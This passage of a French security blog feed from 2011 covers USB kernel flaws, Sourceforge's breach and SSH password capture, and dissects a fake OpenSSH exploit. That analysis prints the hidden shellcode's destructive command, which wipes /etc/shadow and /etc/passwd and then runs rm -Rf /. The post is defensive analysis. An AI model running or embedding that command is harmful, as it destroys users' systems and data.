width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-1290569497946566900?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/1290569497946566900/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/03/je-ne-parlerai-pas-du-piratage-du.html#comment-form' title='7 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1290569497946566900'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/1290569497946566900'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/03/je-ne-parlerai-pas-du-piratage-du.html' title='Je ne parlerai pas du piratage du ministère des finances'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-5777967354973085711</id><published>2011-03-02T10:50:00.004+01:00</published><updated>2011-03-02T12:12:43.764+01:00</updated><title type='text'>Retour sur l'USB</title><content type='html'>Je rebondis sur la &lt;a href="http://exploitability.blogspot.com/2011/01/usb-ma-tuer.html?showComment=1295816788080#c1002196488448110911"&gt;remarque de Newsoft&lt;/a&gt; pour faire une petite rétrospective de l'USB et de ses failles. Tout d'abord, l'USB, c'est un protocole de communication présent aussi bien sur les ordinateurs que les smartphones, les consoles de jeux, etc.. Et les failles, elles, pleuvent intéressons nous tout d'abord à linux:&lt;br /&gt;&lt;br /&gt;Commençons par une faille driver. La carte son USB caiaq sous linux. Le driver copie le nom du périphérique dans une structure de 80 caractères max avec un strcpy. Et paf l'overflow. &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0712"&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0712&lt;/a&gt;. Le &lt;a href="http://git.kernel.org/?p=linux/kernel/git/tiwai/sound-2.6.git;a=commit;h=eaae55dac6b64c0616046436b294e69fc5311581"&gt;correctif&lt;/a&gt;? Un strlcpy:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;- strcpy(dev-&gt;pcm-&gt;name, dev-&gt;product_name);&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;+ strlcpy(dev-&gt;pcm-&gt;name, dev-&gt;product_name, sizeof(dev-&gt;pcm-&gt;name));&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;L'utilisation de strcpy est encore aujourd'hui une réalité..&lt;br /&gt;&lt;br /&gt;Sur le périphérique le plus couramment utilisé, c'est à dire la clé USB en mass-storage, le tableau n'est pas plus propre (et je ne parle même pas d'&lt;a href="http://www.shmoocon.org/speakers#usbautorun"&gt;autorun&lt;/a&gt;).&lt;br /&gt;En effet, le montage d'un disque va lancer la détection de celui-ci, des partitions, des systèmes de fichiers, etc... Tout cela réalisé en bas niveau. Et que se passe t'il lorsqu'un attaquant branche une clé spécialement préparée?&lt;br /&gt;&lt;a href="http://www.pre-cert.de/advisories/PRE-SA-2011-01.txt"&gt;Le noyau plante (à minima)&lt;/a&gt;. La raison: "&lt;span style="font-style: italic;"&gt;The kernel automatically evaluates partition tables of storage devices. Note that this happens independently of whether auto-mounting is enabled&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;or not&lt;/span&gt;". Il s'agit de tables de partitions Mac et LDM.&lt;br /&gt;Si je prends &lt;a href="http://packages.debian.org/squeeze/linux-image-2.6.32-5-686"&gt;le noyau debian&lt;/a&gt;, on observe qu'a peu près tous les systèmes de partitions sont disponibles, entre autre:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;~/debian$ grep LDM_PARTITION boot/config-2.6.32-5-686 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;CONFIG_LDM_PARTITION=y&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Donc si vous avez une debian, changez le noyau.&lt;br /&gt;&lt;br /&gt;Et des failles liées à l'USB, on en trouve pleins d'autres dès qu'on cherche un peu. Je vais finir par coller les prises USB de mon laptop pour gagner en sécurité :-)&lt;br /&gt;&lt;br /&gt;Enfin, on a encore une nouvelle norme, &lt;a href="http://en.wikipedia.org/wiki/Thunderbolt_%28interface%29"&gt;ThunderBolt&lt;/a&gt; qui est disponible sur les Macs. D'emblée en lisant wikipedia une partie sécurité prévient: "&lt;span style="font-style: italic;"&gt;Since Thunderbolt extends the PCI Express bus, which is the main  expansion bus in current systems, it allows very low-level access to the  system. PCI devices need to have unlimited access to memory, and can  thus compromise security. The same is true about other expansion bus standards such as PC Card,  ExpressCard and FireWire. Also, compromised video display devices such  as video projectors and monitors have thus become a security concern  when connected to a Thunderbolt port.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;On imagine du coup facilement les risques:&lt;br /&gt;-"Monsieur le commercial, branchez donc votre machine sur notre rétro projecteur 'thunderbolt TM' afin qu'on puisse voir votre présentation (et qu'on en profite pour siphonner votre disque dur du même coup)"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-5777967354973085711?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/5777967354973085711/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/03/retour-sur-lusb.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/5777967354973085711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/5777967354973085711'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/03/retour-sur-lusb.html' title='Retour sur l&apos;USB'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-8931003232596405349</id><published>2011-02-16T10:36:00.007+01:00</published><updated>2011-02-16T12:33:24.762+01:00</updated><title type='text'>This is not the SSH 0day you're looking for.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-cn5hx35XHSU/TVukOEx4B8I/AAAAAAAAADU/tfI-E8uhbGw/s1600/0daySSH.jpeg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 303px;" src="http://2.bp.blogspot.com/-cn5hx35XHSU/TVukOEx4B8I/AAAAAAAAADU/tfI-E8uhbGw/s400/0daySSH.jpeg" alt="" id="BLOGGER_PHOTO_ID_5574229525509179330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;On m'a fait suivre un 0day &lt;a href="http://www.openssh.com/fr/"&gt;SSH&lt;/a&gt; disponible sur &lt;a href="http://pastebin.com/"&gt;pastebin&lt;/a&gt;. Je vous propose d'expliquer la réaction de &lt;a href="http://www.google.fr/search?q=rageguy"&gt;rageguy&lt;/a&gt;.&lt;br /&gt;Ce 0day est un fake (inutile de vous précipiter sur pastebin). Plusieurs points devraient mettre la puce à l'oreille.&lt;br /&gt;&lt;br /&gt;Les dates sont sensiblement cohérentes:&lt;br /&gt;ssh est &lt;a href="http://www.openssh.com/txt/"&gt;sorti en version&lt;/a&gt; 5.7 le 23 janvier et 5.8 le 4 février suite à un problème de sécurité. Le Oday est daté du 26 janvier sur pastebin. On reste dans le plausible. (Il manque néanmoins des advisories critiques, à mon avis un véritable 0day aurait pour conséquence une déferlante de communiqués, blogs, tweet, conférences, etc...)&lt;br /&gt;&lt;br /&gt;A part ça, rien d'autre ne permet d'imaginer que l'on est tombé par hasard sur un 0day. (on &lt;a href="http://news0ft.blogspot.com/2009/10/pourquoi-la-securite-ne-va-pas.html"&gt;trouve&lt;/a&gt; &lt;a href="http://www.google.fr/search?q=0day+site%3Apastebin.com"&gt;beaucoup&lt;/a&gt; de &lt;a href="http://www.google.fr/search?q=%22begin+pgp+private+key+block%22+site:pastebin.com"&gt;choses&lt;/a&gt; sur pastebin, mais tout de même.)&lt;br /&gt;&lt;br /&gt;Tout d'abord, la faille en elle-même. La &lt;a href="http://www.openssh.com/txt/release-5.8"&gt;release 5.8 corrige un problème de sécurité&lt;/a&gt; lié à la génération des certificats. En effet, un peu de données non randomisées peuvent être inclues dans un certificat. Le 0day sur pastebin indique lui une faille "&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Off by One error in auth2-pubkey.c&lt;/span&gt;&lt;/span&gt;". C'est donc surprenant. Un véritable correctif de sécurité chez OpenSSH qui ne corrige pas un exploit public (peut-on encore parler de 0day d'ailleurs?).&lt;br /&gt;&lt;br /&gt;Ensuite le code C de l'exploit ressemble à des exploits classiques, c'est à dire qu'on voit un shellcode, deux trois fonctions C, puis l'appel à ce shellcode. Mais ce code là est curieux:&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-XUYSlvgMyTQ/TVuoQ6U8O_I/AAAAAAAAADc/q63PI4C0dCw/s1600/42-63.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 342px;" src="http://1.bp.blogspot.com/-XUYSlvgMyTQ/TVuoQ6U8O_I/AAAAAAAAADc/q63PI4C0dCw/s400/42-63.png" alt="" id="BLOGGER_PHOTO_ID_5574233972289584114" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Tout d'abord, le 0day veut être root. Surprenant une fois de plus. A lire l'exploit, il est inutile d'être root pour lancer une connexion vers un serveur ssh. Puis la ligne 51 vérifie le nombre d'arguments, affiche un FAIL et lance automatiquement le shellcode, ce qui est encore plus étonnant (pourquoi le lancer si le nombre d'arguments est incorrect?), et &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;exit&lt;/span&gt;&lt;/span&gt; systématiquement en erreur ligne 56. Dit autrement, ce code ne lancera jamais la ligne 59 qui pourrait correspondre au lancement de l'exploit.&lt;br /&gt;&lt;br /&gt;Intéressons nous à ce shellcode:&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-AYQA8G9bEo8/TVupN2AogWI/AAAAAAAAADk/REkJEhbPEGk/s1600/shellcode.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 116px;" src="http://1.bp.blogspot.com/-AYQA8G9bEo8/TVupN2AogWI/AAAAAAAAADk/REkJEhbPEGk/s400/shellcode.png" alt="" id="BLOGGER_PHOTO_ID_5574235019102683490" border="0" /&gt;&lt;/a&gt;Un hexdump met un premier doute sur celui-ci:&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-BHVuGcBKC9c/TVupyLROZzI/AAAAAAAAADs/QTIh8nBy4RM/s1600/hexdump.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 82px;" src="http://4.bp.blogspot.com/-BHVuGcBKC9c/TVupyLROZzI/AAAAAAAAADs/QTIh8nBy4RM/s400/hexdump.png" alt="" id="BLOGGER_PHOTO_ID_5574235643284711218" border="0" /&gt;&lt;/a&gt;On lit clairement que le shadow et le passwd sont écrasés, puis que l'intégralité du disque depuis la racine est supprimé. La les doutes sont confirmés, ce n'est sûrement plus un 0day, mais un fake. gdb va terminer de nous convaincre:&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-weOsMcAIat0/TVuq990tTEI/AAAAAAAAAD0/pgnfrWO4vmg/s1600/gdb1.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 171px;" src="http://2.bp.blogspot.com/-weOsMcAIat0/TVuq990tTEI/AAAAAAAAAD0/pgnfrWO4vmg/s400/gdb1.png" alt="" id="BLOGGER_PHOTO_ID_5574236945345498178" border="0" /&gt;&lt;/a&gt;En bref, on appelle 0xb, on push sur la pile &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;/bin/sh -c&lt;/span&gt;&lt;/span&gt; (632d c-, puis 68732f =&gt; hs/ etc..) et on appelle à shellcode+86. A shellcode+29:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;(gdb) x/s shellcode+29&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;0x80497bd &lt;shellcode+29&gt;:     "echo \"\" &gt; /etc/shadow ; echo \"\" &gt; /etc/passwd ; rm -Rf /"&lt;br /&gt;&lt;br /&gt;&lt;/shellcode+29&gt;&lt;/span&gt;&lt;/span&gt;Et à shellcode+86:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;(gdb) disass shellcode+86 shellcode+92&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;Dump of assembler code from 0x80497f6 to 0x80497fc:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x080497f6 &lt;shellcode+86&gt;:    push   edi&lt;/shellcode+86&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x080497f7 &lt;shellcode+87&gt;:    push   ebx&lt;/shellcode+87&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x080497f8 &lt;shellcode+88&gt;:    mov    ecx,esp&lt;/shellcode+88&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0x080497fa &lt;shellcode+90&gt;:    int    0x80&lt;/shellcode+90&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;End of assembler dump.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(gdb) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Et on exécute (appel système linux int80h). Arrivé à ce point, rageguy se met à crier FUUUUUU car ses fichiers disparaissent, j'espère que ses sauvegardes sont à jour :-)&lt;br /&gt;&lt;br /&gt;En cherchant où cet exploit a pu être utilisé, j'ai lu &lt;a href="http://testpurposes.net/2011/02/04/fake-0day-exploit-para-openssh/"&gt;http://testpurposes.net/2011/02/04/fake-0day-exploit-para-openssh/&lt;/a&gt; qui explique en espagnol la même chose.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ce genre de faux exploit n'a rien de nouveau, j'ai en mémoire un &lt;a href="http://www.mail-archive.com/full-disclosure@lists.netsys.com/msg19443.html"&gt;faux exploit rsync&lt;/a&gt; qui supprimait le homedir. Il était mieux caché (un XOR afin qu'un hexdump n'affiche pas ses intentions), mais le principe est identique: un faux exploit lancé sur une mailing liste, un shellcode et l'utilisateur trop pressé de le lancer en est pour ses frais. As always: Ne récupérez pas des programmes n'importe où, ne lancez pas n'importe quoi et faites des sauvegardes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-8931003232596405349?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/8931003232596405349/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/02/this-is-not-ssh-0day-youre-looking-for.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8931003232596405349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8931003232596405349'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/02/this-is-not-ssh-0day-youre-looking-for.html' title='This is not the SSH 0day you&apos;re looking for.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-cn5hx35XHSU/TVukOEx4B8I/AAAAAAAAADU/tfI-E8uhbGw/s72-c/0daySSH.jpeg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-6181635605473839373</id><published>2011-02-02T09:02:00.005+01:00</published><updated>2011-02-02T15:37:23.527+01:00</updated><title type='text'>Sourceforge updates- ssh compromis</title><content type='html'>&lt;a href="http://sourceforge.net/"&gt;Sourceforge&lt;/a&gt; a rendu disponible &lt;a href="http://sourceforge.net/blog/sourceforge-attack-full-report/"&gt;l'analyse de l'attaque&lt;/a&gt; qu'ils ont subi. Tout n'est pas encore fini, mais les grandes lignes ont été détaillées.&lt;br /&gt;Il s'agit d'une attaque ciblée sur un des serveurs de leur infrastructure, ayant permis à un attaquant d'obtenir les droits root par élévation de privilèges. (Il n'est pas précisé si la porte d'entrée est celle des dragons ou non) L'attaque vient bien du service Web. Sourceforge est une plateforme ancienne de développement, le schéma de sécurité date d'une dizaine d'années (il est en train d'être revu) et à l'époque, il n'y a avait qu'une centaine d'utilisateurs, contre plusieurs millions aujourd'hui. Les données du problème ne sont bien évidemment plus les mêmes. Un hardening est en train d'être mis en place: "&lt;span style="font-style: italic;"&gt;Because of this attack we’ll be accelerating the rollout of Secure Project Web services&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;Dans les bons côtés, ils n'ont actuellement pas connaissance de modifications apportés aux sources des projets hébergés chez eux. L'attaquant a peut-être eu accès à une base de données de mot de passe utilisateurs, mais ceux-ci sont tous salés et hachés, rendant leur exploitation difficile.&lt;br /&gt;&lt;br /&gt;Mais ils ont découvert un démon ssh modifié qui loggait les passwords des utilisateurs se connectant. Même s'ils sont relativement sûrs d'eux quant au fait que ce démon n'ait capturé aucun mot de passe, ils ont préféré réinitialiser l'ensemble des mots de passe (de plus, l'attaquant peut essayer un bruteforce des mots de passes salés/hachés récupérés).&lt;br /&gt;&lt;br /&gt;Donc fin de l'histoire pour sourceforge, cette information est le  &lt;span style="font-style: italic;"&gt;"first round of analysis"&lt;/span&gt; et j'espère que nous aurons le second round. Il faut encore une fois apprécier la transparence de la plateforme qui n'essaye ni de cacher, ni de minimiser les faits, mais au contraire souhaite les expliquer le plus clairement possible.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Et ssh alors?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Parlons un peu de ssh. Il est mentionné que les attaquants ont utilisé un serveur ssh modifié pour qu'il logge les mots de passe. Cela peut paraître surprenant, mais ssh ne fait que suivre la RFC. SSH crée un canal de communication chiffré, et fait transiter dans ce canal chiffré le mot de passe en clair! &lt;a href="http://www.ietf.org/rfc/rfc4252.txt"&gt;RFC 4252&lt;/a&gt;, paragraphe 8:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt; 8.  Password Authentication Method: "password"                                &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  Note that the 'plaintext password' value is encoded in ISO-10646 UTF-8.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;Ce qui est confirmé par&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Note that even though the cleartext password is transmitted in the            &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;packet, the entire packet is encrypted by the transport layer. &lt;/span&gt;&lt;/span&gt;           &lt;br /&gt;Si on a une mentalité d'attaquant, on imagine immédiatement comment exploiter cette information: plaçons un faux serveur ssh et récoltons les couples login/password en clair! Bien entendu, un utilisateur pourrait être suspicieux s'il voit que la clé hôte a changé, mais la majorité des utilisateurs sont sous windows, et utilisent &lt;a href="http://www.chiark.greenend.org.uk/%7Esgtatham/putty/"&gt;putty&lt;/a&gt; qui permet de se logger quand même en un clic malgré le changement de clé!&lt;br /&gt;Dans le cas de sourceforge, la question ne se pose même pas puisque les attaquants ont pu récupérer la clé SSH hôte de la machine compromise.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Quelles contremesures?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Il n'est pas possible de protéger la clé hôte par un mot de passe, c'est par  design une fois de plus.&lt;br /&gt;Voir le &lt;a href="http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-keygen&amp;amp;sektion=1"&gt;man ssh-keygen&lt;/a&gt;:&lt;br /&gt;&lt;pre&gt;host keys must have an empty passphrase&lt;/pre&gt;Ceci aurait du sens, pourtant: à chaque  redémarrage de SSHD, il faudrait entrer la passphrase de la clé hôte,  évitant ainsi l'utilisation d'une clé volée. On perd en automatisation de démarrage, mais on gagne un peu en sécurité.&lt;br /&gt;&lt;br /&gt;Pour les utilisateurs, il peut sembler étonnant au premier abord d'envoyer en clair (dans le canal chiffré) le mot de passe. Un man in the middle permet donc de récupérer les credentials.&lt;br /&gt;La première réflexion viendrait à conseiller un hash. Un MITM ne récupérerait donc que le hash. A première vue, c'est intéressant, mais le MITM pourrait ouvrir en parallèle une connexion vers le vrai serveur ssh et faire suivre les demandes et réponses. Le code du serveur du MITM devient donc un peu plus compliqué, mais pas impossible.&lt;br /&gt;Comment alors protéger le serveur ou le client d'un MITM? Cette situation est elle donc insoluble?&lt;br /&gt;&lt;br /&gt;Pour les cryptologues, non, il existe des solutions, ce sont les protocoles PAKE (Password-Authenticate Key Exchange (ou Key Agreement)). Un protocole PAKE comporte un échange de clé "classique" et n'a pas besoin d'être joué dans un tunnel pré-établi. Les caractéristiques sont assez "magiques" : à l'issue du protocole, le client et le serveur se sont authentifiés mutuellement, relativement à leur connaissance du mot de passe, et ont une clé secrète commune de forte entropie (qu'on peut utiliser pour chiffer symmétriquement la suite de la conversation). Néanmoins, un faux serveur ou un faux client n'apprend pas le mot de passe ni même un hash du mot de passe ou quoi que ce soit qui permette d'"essayer" des mots de passe.&lt;br /&gt;Le premier est EKE ("Encrypted Key Exchange") décrit par Bellovin et Merritt en 1992 (un brevet est déposé). Le plus connu est SRP, publié par Wu en 1998. (Merci &lt;a href="https://groups.google.com/group/fr.misc.cryptologie/browse_thread/thread/647328c1ae0bf695/144b98b7ff9ad493?hl=fr&amp;amp;ie=UTF-8&amp;amp;q&amp;amp;pli=1#144b98b7ff9ad493"&gt;T.P.&lt;/a&gt; pour les infos!).&lt;br /&gt;L'implémentation de SRP semble toutefois compliqué à implémenter pour un UNIX classique.&lt;br /&gt;&lt;br /&gt;Et donc les login/mots de passe ssh continuent d'être envoyés "en clair"...&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Mais alors, on peut faire des faux serveurs ssh facilement?&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Et bien oui. Le plus connu est &lt;a href="http://code.google.com/p/kippo/"&gt;Kippo&lt;/a&gt;, que je conseille. C'est un serveur écrit en python servant de honeypot. Ce honeypot permet en plus de logger les mots de passe d'enregistrer les sessions ssh des attaquants. Certaines sessions d'apprentis pirates sont &lt;a href="http://www.youtube.com/watch?v=oJagxe-Gvpw&amp;amp;feature=player_embedded"&gt;consternantes ou à mourir de rire&lt;/a&gt;, c'est selon :)&lt;br /&gt;Kippo permet très facilement d'être détourné de son usage d'honeypot pour être utilisé comme logger. Il lui manque juste la partie connexion au serveur ssh légitime et forward de connexions. A priori Kippo ne le permet pas, mais cela m'étonnerait qu'aucun tool n'ait été codé réalisant ces actions.&lt;br /&gt;&lt;br /&gt;En conclusion: Vérifiez toujours les clés hôtes et n'utilisez pas de mot de passe lorsque vous vous loggez en ssh, jamais. Toujours des clés de longueur suffisantes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-6181635605473839373?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/6181635605473839373/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/02/sourceforge-updates-ssh-compromis.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6181635605473839373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/6181635605473839373'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/02/sourceforge-updates-ssh-compromis.html' title='Sourceforge updates- ssh compromis'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-2070910197203681696</id><published>2011-01-29T11:29:00.005+01:00</published><updated>2011-01-29T12:05:16.559+01:00</updated><title type='text'>Sourceforge.net passwords reset - maintenant, vous pouvez vraiment hurler</title><content type='html'>Après &lt;a href="http://fedoraproject.org/"&gt;Fedora&lt;/a&gt; qui a connu un &lt;a href="http://lists.fedoraproject.org/pipermail/announce/2011-January/002911.html"&gt;problème de sécurité&lt;/a&gt; dû à la compromission d'un mot de passe d'un administrateur mineur, &lt;a href="http://sourceforge.net/"&gt;Sourceforge&lt;/a&gt; fait parler de lui.&lt;br /&gt;&lt;br /&gt;Sourceforge est une plateforme d'édition de source et de dépôt pour celles-ci. Cette plateforme s'est faite attaquer avec succès si l'on en croit les communiqués officiels:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://sourceforge.net/apps/wordpress/sourceforge/2011/01/27/service-downtime/"&gt;Blog de sourceforge mentionnant le downtime&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://sourceforge.net/apps/wordpress/sourceforge/2011/01/27/sourceforge-net-attack-update/"&gt;Communiqué complémentaire&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Et l'équipe de sourceforge mentionne que leurs admins continuent de travailler sur l'incident et qu'ils communiqueront plus tard sur les impacts et causes de cette attaque. D'ailleurs, j'ai reçu un email ce matin m'enjoignant à changer mon mot de passe sourceforge "&lt;span style="font-style: italic;"&gt;and so we are resetting all passwords in the sf.net database -- just in case&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Je ne suis pas très rassuré sur cette histoire. J'ai téléchargé quantité de logiciels sur sourceforge et une compromission de cette plateforme aurait un impact énorme. Et je suis inquiet lorsque je vois cette timeline:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le 19 mai 2010 &lt;a href="http://php-security.org/2010/05/19/mops-2010-035-e107-bbcode-remote-php-code-execution-vulnerability/index.html"&gt;une faille touche le BBcode php&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Le &lt;a href="http://sid.rstack.org/blog/index.php/451-des-lendemains-de-fetes-difficiles"&gt;31 décembre 2010&lt;/a&gt;, l'article &lt;a href="http://www.google.fr/search?q=owned+and+exposed"&gt;Owned and Exposed&lt;/a&gt; réussi à écraser la base de données d'&lt;a href="http://ettercap.sourceforge.net/"&gt;Ettercap&lt;/a&gt; basée chez sourceforge..&lt;/li&gt;&lt;li&gt;Un chercheur en sécurité s'interroge sur &lt;a href="http://extraexploit.blogspot.com/2011/01/sourceforge-entry-point-seems-still.html"&gt;la manière dont ettercap s'est fait hacker&lt;/a&gt;. Il y a quelque temps, il étudiait les logs IRC d'un serveur de C&amp;amp;C d'un botnet. Sourceforge était mentionné comme embarquant une version de logiciel vulnérable à la faille BBCode php... Nous sommes fin décembre 2010.&lt;/li&gt;&lt;li&gt;le 22 janvier 2011, soit un mois plus tard il constate que la &lt;a href="http://extraexploit.blogspot.com/2011/01/sourceforge-entry-point-seems-still.html"&gt;faille est toujours présente&lt;/a&gt;. (Note aux "dragons" pour ceux qui comprendront...)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Le 24 janvier il poste l'info sur la liste &lt;a href="http://seclists.org/fulldisclosure/2011/Jan/424"&gt;full disclosure&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Le 27 janvier, sourceforge indique qu'ils passent en &lt;a href="http://sourceforge.net/apps/wordpress/sourceforge/2011/01/27/service-downtime/"&gt;downtime&lt;/a&gt;...&lt;/li&gt;&lt;/ul&gt;On peut lire cette timeline comme on le souhaite, mais à mon avis il faut considérer tout logiciel téléchargé chez sourceforge depuis mai 2010 comme potentiellement trojanisé et ça, ce n'est vraiment pas une bonne nouvelle :(&lt;br /&gt;&lt;br /&gt;Le mail de ce matin ne fait que confirmer cette sensation désagréable.. On resette tous les mots de passe, il y a eu des "&lt;span style="font-style: italic;"&gt;evidence of password sniffing attempts&lt;/span&gt;".&lt;br /&gt;J'attends le prochain update de sourceforge pour voir jusqu'à quel point ils ont été touchés. J'ai envoyé quelques mails à certains projets pour demander des avis sur l'état des sources. Wait end See.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-2070910197203681696?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/2070910197203681696/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' 